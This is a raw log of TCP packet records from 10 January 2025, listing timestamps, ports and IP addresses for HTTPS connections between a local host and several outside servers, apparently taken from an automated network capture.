Jan 10, 2025 00:51:34.598160982 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.598669052 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.598721981 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.598941088 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.615664959 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.616092920 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.616097927 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.617098093 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.617172003 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.617613077 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.617657900 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.617815971 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.617825031 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.624100924 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.624322891 CET	49739	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.624341011 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.624665976 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.624968052 CET	49739	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.625104904 CET	49739	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.625135899 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.633225918 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.634418964 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.634433985 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.635706902 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.635767937 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.636151075 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.636218071 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.636274099 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.639321089 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.647260904 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.647279978 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.650213957 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.650418043 CET	49740	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.650437117 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.650787115 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.651077032 CET	49740	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.651127100 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.651191950 CET	49740	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.662740946 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.677936077 CET	49739	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.678086042 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.678098917 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.693593025 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.695323944 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.726962090 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.870126009 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.870150089 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.870213032 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.870220900 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.870342970 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.872121096 CET	49741	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.872148037 CET	443	49741	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.872659922 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.872728109 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.872827053 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.873713017 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.873732090 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.885021925 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.885051966 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.885118961 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.885160923 CET	49739	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.885160923 CET	49739	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.886404037 CET	49739	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.886428118 CET	443	49739	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.886907101 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.886986971 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.887079000 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.887654066 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.887687922 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.889137983 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.889166117 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.889218092 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.889225960 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.889266014 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.890253067 CET	49742	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.890270948 CET	443	49742	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.890584946 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.890604973 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.890676022 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.891201019 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.891213894 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.906137943 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.906208038 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.906315088 CET	49740	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.907434940 CET	49740	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.907455921 CET	443	49740	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931709051 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931734085 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931741953 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931759119 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931770086 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931780100 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931802988 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.931823969 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931835890 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.931848049 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.931910038 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.946912050 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.946934938 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.946963072 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.947118998 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.947118998 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:34.947141886 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:34.992414951 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.014054060 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.014075994 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.014112949 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.014153957 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.014183044 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.014199018 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.014301062 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033133030 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.033164978 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.033221960 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033236980 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.033277035 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.033281088 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033281088 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033297062 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.033324957 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033359051 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.033441067 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033792973 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033822060 CET	443	49743	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.033860922 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.033860922 CET	49743	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.124615908 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.124911070 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.124939919 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.126082897 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.126158953 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.126696110 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.126770020 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.126895905 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.126914024 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.180330992 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.455740929 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.455776930 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.455784082 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.455833912 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.455852032 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.455858946 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.455867052 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.455878973 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.455888033 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.455935001 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.475604057 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.475629091 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.475708008 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.475718975 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.512500048 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.512587070 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.512639999 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.512650967 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.512676954 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.512718916 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.512725115 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.512794018 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.512833118 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.512837887 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513091087 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513134956 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513138056 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.513149977 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513187885 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.513194084 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513469934 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513618946 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513675928 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513708115 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513714075 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.513742924 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513781071 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513816118 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.513816118 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.513827085 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513837099 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.513930082 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.514277935 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.514327049 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.514403105 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.514411926 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.522314072 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.546108961 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.546118021 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.546171904 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.546194077 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.546205997 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.546216965 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.546261072 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.546262026 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.552933931 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.555285931 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.565763950 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.565788984 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.565890074 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.565890074 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.565912008 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.565977097 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.566613913 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.566858053 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.566924095 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.566951990 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.566970110 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.567044020 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.567054033 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.567085981 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.567297935 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.567799091 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.567949057 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.567961931 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.568001986 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.568773031 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.568795919 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.568833113 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.568840981 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.568886042 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.568886042 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.573637009 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.573915958 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.573962927 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.574333906 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.574667931 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.574738979 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.574796915 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.583950996 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.584387064 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.584415913 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.585463047 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.585525990 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.586009026 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.586076021 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.586261988 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.586276054 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.617388964 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.618489027 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.618567944 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.618577003 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.618638992 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.619198084 CET	49746	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.619224072 CET	443	49746	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.619335890 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.633317947 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.689774036 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:35.689865112 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:35.689944983 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:35.690614939 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:35.690649033 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:35.733088970 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.733639956 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.733689070 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.733706951 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.733956099 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.733995914 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.734009027 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.734018087 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.734054089 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.734524965 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.734584093 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.734847069 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.734860897 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.735121965 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.735161066 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.735169888 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.735407114 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.735436916 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.735466003 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.735505104 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.735506058 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.735515118 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.736232996 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.736326933 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.736340046 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.736550093 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.736757994 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.736813068 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.736838102 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.736917973 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.736968040 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.736974955 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737385988 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737437010 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.737442970 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737611055 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737656116 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.737798929 CET	49745	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.737808943 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737812042 CET	443	49745	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737865925 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.737873077 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737881899 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.737957954 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.737977028 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.746428013 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.746486902 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.746591091 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.746792078 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.746804953 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.764612913 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:35.764672995 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:35.764750957 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:35.764955997 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:35.764971972 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:35.781764030 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.823577881 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.823604107 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.823613882 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.823657990 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.823678017 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.823692083 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.823740959 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.828546047 CET	49754	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.828561068 CET	443	49754	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.899569035 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.899600029 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.899607897 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.899621964 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.899660110 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.899667978 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.899740934 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.899781942 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.899781942 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.899807930 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.911039114 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.911086082 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.911103964 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.911143064 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.911174059 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.911195993 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.911216974 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.915438890 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.915461063 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.915518045 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.915529013 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.915561914 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.927905083 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.927942038 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.927989006 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.928009033 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.928040028 CET	49752	443	192.168.2.6	38.165.16.38
